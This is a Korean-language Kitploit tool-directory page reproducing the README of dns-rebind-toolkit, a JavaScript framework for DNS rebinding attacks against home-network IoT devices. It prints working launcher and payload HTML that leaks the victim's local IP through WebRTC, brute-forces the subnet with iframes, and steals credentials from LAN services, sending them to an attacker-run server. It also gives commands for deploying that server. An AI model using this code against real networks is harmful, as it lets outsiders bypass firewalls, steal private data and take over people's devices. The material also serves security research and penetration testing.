Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
dns-rebind-toolkit — DNS 리바인딩 공격을 생성하기 위한 프론트엔드 JavaScript 툴킷. | Kitploit
도구/GitHubGitHub/brannondorsey/dns-rebind-toolkit
ReconnaissanceIoT SecurityExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingDNS Analysis
GitHubbrannondorsey/dns-rebind-toolkit

dns-rebind-toolkit

DNS 리바인딩 공격을 생성하기 위한 프론트엔드 JavaScript 툴킷.

5028434년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

DNS Rebind Toolkit

데모 | 보안 권고 | 포함된 페이로드 | FAQ

면책 조항: 이 소프트웨어는 교육 목적으로만 제공됩니다. 이 소프트웨어는 불법 활동에 사용되어서는 안 됩니다. 저자는 그 사용에 대해 책임을 지지 않습니다. 나쁜 짓 하지 마세요.

DNS Rebind Toolkit은 로컬 영역 네트워크(LAN)의 취약한 호스트와 서비스를 대상으로 하는 DNS 리바인딩 익스플로잇을 개발하기 위한 프론트엔드 자바스크립트 프레임워크입니다. Google Home, Roku, Sonos WiFi 스피커, WiFi 라우터, "스마트" 온도조절기 및 기타 IoT 기기와 같은 장치를 대상으로 하는 데 사용할 수 있습니다. 이 툴킷을 사용하면 원격 공격자가 라우터의 방화벽을 우회하여 피해자의 홈 네트워크에 있는 장치와 직접 상호 작용하고, 개인 정보를 유출하며, 경우에 따라 취약한 장치 자체를 제어할 수도 있습니다.

이 공격은 대상 네트워크의 피해자가 링크를 클릭하거나 악성 iframe이 포함된 HTML 광고를 보기만 하면 됩니다. 그러면 피해자의 웹 브라우저가 프록시처럼 사용되어 홈 네트워크에 연결된 다른 호스트에 직접 액세스합니다. 그렇지 않으면 공격자가 인터넷에서 접근할 수 없는 대상 머신과 서비스입니다. 원격 공격자는 해당 서비스가 무엇인지, 피해자 네트워크에서 어떤 IP 주소를 사용하는지 알지 못할 수 있지만, DNS Rebind Toolkit은 수백 개의 가능성 있는 IP 주소를 무차별 대입(brute force)하여 이 문제를 처리합니다.

내부적으로 이 도구는 rebind.network:53에서 실행되는 공개 whonow DNS 서버를 사용하여 DNS 리바인딩 공격을 실행하고 피해자의 웹 브라우저가 동일 출처 정책을 위반하도록 속입니다. 그런 다음 WebRTC를 사용하여 피해자의 개인 IP 주소(예: 192.168.1.36)를 유출합니다. 이 로컬 IP 주소의 처음 세 옥텟을 사용하여 네트워크의 서브넷을 추측한 다음, 네트워크 서브넷에 있을 수 있는 각 호스트에 페이로드를 전달하는 256개의 iframe(192.168.1.0-255)을 주입합니다.

이 툴킷은 자체 DNS 리바인딩 공격을 개발하고 배포하는 데 사용할 수 있습니다. payloads/ 디렉토리에는 몇 가지 실제 공격 페이로드가 포함되어 있습니다. 이 페이로드에는 Google Home 및 Roku 제품을 포함한 몇 가지 인기 있는 IoT 기기에 대한 정보 유출(및 릭롤 장난) 공격이 포함되어 있습니다.

이 툴킷은 DNS 리바인딩 공격에 대한 독립적인 보안 연구의 산물입니다. 원본 연구에 대한 내용은 여기에서 읽을 수 있습니다.

시작하기

root@kitploit:~
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# install dependencies
npm install

# run the server using root to provide access to privileged port 80 
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server

기본적으로 server.js는 각각 포트 8008, 8060, 1400, 80, 80에서 서비스를 실행하는 Google Home, Roku, Sonos 스피커, Phillips Hue 전구 및 Radio Thermostat 기기를 대상으로 하는 페이로드를 제공합니다. 홈 네트워크에 이러한 기기 중 하나가 있다면 http://rebind.network로 이동하여 멋진 서프라이즈를 확인해 보세요 ;). 개발자 콘솔을 열고 이러한 서비스가 무해하게 익스플로잇되어 데이터가 도난당하고 server.js로 유출되는 것을 지켜보세요.

API 및 사용법

이 툴킷은 DNS 리바인딩 공격을 만드는 데 함께 사용할 수 있는 두 가지 JavaScript 객체를 제공합니다:

  • DNSRebindAttack: 이 객체는 알려진 포트에서 실행 중인 취약한 서비스를 대상으로 공격을 시작하는 데 사용됩니다. 대상으로 선택한 각 IP 주소에 대해 하나의 페이로드를 생성합니다. DNSRebindAttack 객체는 여러 DNSRebindNode 객체를 생성, 관리 및 통신하는 데 사용됩니다. DNSRebindAttack이 시작한 각 페이로드에는 DNSRebindNode 객체가 포함되어야 합니다.
  • DNSRebindNode: 이 정적 클래스 객체는 각 HTML 페이로드 파일에 포함되어야 합니다. 하나의 호스트에서 실행되는 하나의 서비스를 대상으로 하는 데 사용됩니다. 이를 생성한 DNSRebindAttack 객체와 통신할 수 있으며 DNS 리바인딩 공격을 실행(DNSRebindNode.rebind(...))하고 공격 중 발견된 데이터를 server.js로 유출(DNSRebindNode.exfiltrate(...))하는 헬퍼 함수가 있습니다.

이 두 스크립트는 방화벽으로 보호되는 LAN의 알 수 없는 호스트를 대상으로 공격을 실행하기 위해 함께 사용됩니다. 기본적인 공격은 다음과 같습니다:

  1. 공격자는 피해자에게 공격을 시작하는 악성 HTML 페이지 링크(예: http://example.com/launcher.html)를 보냅니다. launcher.html에는 DNSRebindAttack 인스턴스가 포함되어 있습니다.
  2. 피해자가 공격자의 링크를 클릭하거나 http://example.com/launcher.html이 iframe으로 삽입된 페이지를 방문합니다. 그러면 launcher.html의 DNSRebindAttack이 공격을 시작합니다.
  3. DNSRebindAttack은 WebRTC 누출을 사용하여 피해자 머신의 로컬 IP 주소(예: 192.168.10.84)를 알아냅니다. 공격자는 이 정보를 사용하여 피해자 LAN에서 대상으로 할 IP 주소 범위(예: 192.168.10.0-255)를 선택합니다.
  4. launcher.html은 단일 서비스(예: 포트 8008에서 사용 가능한 비공식 Google Home REST API)를 대상으로 피해자 서브넷의 IP 주소 범위에 대해 DNS 리바인딩 공격(DNSRebindAttack.attack(...) 사용)을 시작합니다.

참고로, 사용자 네트워크에 IP 주소를 알 수 없는 Google Home 기기가 하나 있고 전체 192.168.1.0/24 서브넷을 대상으로 공격이 시작되면 하나의 DNSRebindNode 리바인딩 공격만 성공하고 254개는 실패합니다.

예제

공격은 세 가지의 조율된 스크립트와 파일로 구성됩니다:

  • DNSRebindAttack 인스턴스를 포함하는 HTML 파일(예: launcher.html)
  • 공격 페이로드를 포함하는 HTML 파일(예: payload.html). 이 파일은 대상이 되는 각 IP 주소에 대해 DNSRebindAttack에 의해 launcher.html에 삽입됩니다.
  • 위 파일을 제공하고 필요 시 데이터를 유출하는 DNS Rebinding Toolkit 서버(server.js)

launcher.html

다음은 HTML 런처 파일의 예입니다. 전체 문서는 examples/launcher.html에서 찾을 수 있습니다.

root@kitploit:~
<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

다음은 HTML 페이로드 파일의 예입니다. 전체 문서는 examples/payload.html에서 찾을 수 있습니다.

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

이 스크립트는 launcher.html 및 payload.html 파일을 제공하고 DNSRebindNode에서 유출된 데이터를 수신하여 data/ 폴더에 저장하는 데 사용됩니다. 개발 중에는 일반적으로 이 서버를 localhost에서 실행하고 DNSRebindAttack.attack(...)을 127.0.0.1로 지정합니다. 프로덕션에서는 VPS 클라우드 서버에서 서버를 실행하고 DNSRebindAttack.attack(...)을 공용 IP 주소로 지정합니다.

root@kitploit:~
# run with admin privileged so that it can open port 80.
sudo node server
root@kitploit:~
usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

추가 예제

examples/vulnerable-server.js에 예제 취약 서버를 포함시켰습니다. 이 취약 서비스는 포트가 server.js와 동일한 포트와 일치해야 하므로 네트워크의 다른 머신에서 실행해야 합니다. 이 예제 공격을 직접 실행하려면 다음을 수행하세요:

보조 컴퓨터

root@kitploit:~
# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000

주 컴퓨터

root@kitploit:~
node server --port 3000

이제 브라우저에서 http://localhost:3000/launcher.html로 이동하여 개발자 콘솔을 엽니다. 1~2분 정도 기다리면 공격이 성공한 경우 보조 컴퓨터에서 실행 중인 취약 서버에서 덤프된 일부 자격 증명이 표시됩니다.

더 많은 예제는 examples/ 및 payloads/ 디렉토리를 확인하세요.

파일 및 디렉토리

  • server.js: DNS Rebind Toolkit 서버
  • payloads/: 몇 가지 취약한 IoT 기기를 대상으로 수작업으로 제작된 여러 HTML 페이로드 파일. 현재는 Google Home, Roku 및 Radio Thermostat에 대한 공격이 포함되어 있습니다. 향후 이 저장소에 더 많은 페이로드가 추가되기를 바랍니다(PR 환영합니다!)
  • examples/: 예제 사용 파일.
  • data/: DNSRebindNode.exfiltrate(...)에 의해 유출된 데이터가 저장되는 디렉토리.
  • share/: examples/ 및 payload/의 여러 HTML 파일에서 공유하는 JavaScript 파일 디렉토리.

이 툴킷은 연구자와 침투 테스터에게 유용한 도구로 개발되었습니다. 이 툴킷 제작으로 이어진 연구 중 일부를 살펴보려면 이 게시물을 확인하세요. 다른 서비스용 페이로드를 작성하는 경우 다른 사람들도 작업의 혜택을 받을 수 있도록 이 저장소에 PR을 보내는 것을 고려해 보세요!

도구 다운로드
  • 사용자가 정의한 간격(기본값 200밀리초)마다 DNSRebindAttack은 payload.html이 포함된 iframe 하나를 launcher.html 페이지에 삽입합니다. 각 iframe에는 공격 대상 IP 주소 범위에 정의된 단일 호스트의 포트 8008에 대한 공격을 실행하는 DNSRebindNode 객체가 하나 포함됩니다. 이 주입 프로세스는 공격 대상인 각 IP 주소에 대해 iframe이 주입될 때까지 계속됩니다.
  • 각 주입된 payload.html 파일은 DNSRebindNode를 사용하여 whonow DNS 서버와 통신함으로써 리바인딩 공격을 시도합니다. 성공하면 동일 출처 정책이 위반되고 payload.html은 Google Home 제품과 직접 통신할 수 있습니다. 일반적으로 payload.html은 대상 기기에 몇 가지 API 호출을 수행하고 공격을 종료하고 자체 파괴하기 전에 결과를 example.com에서 실행 중인 server.js로 유출하는 방식으로 작성됩니다.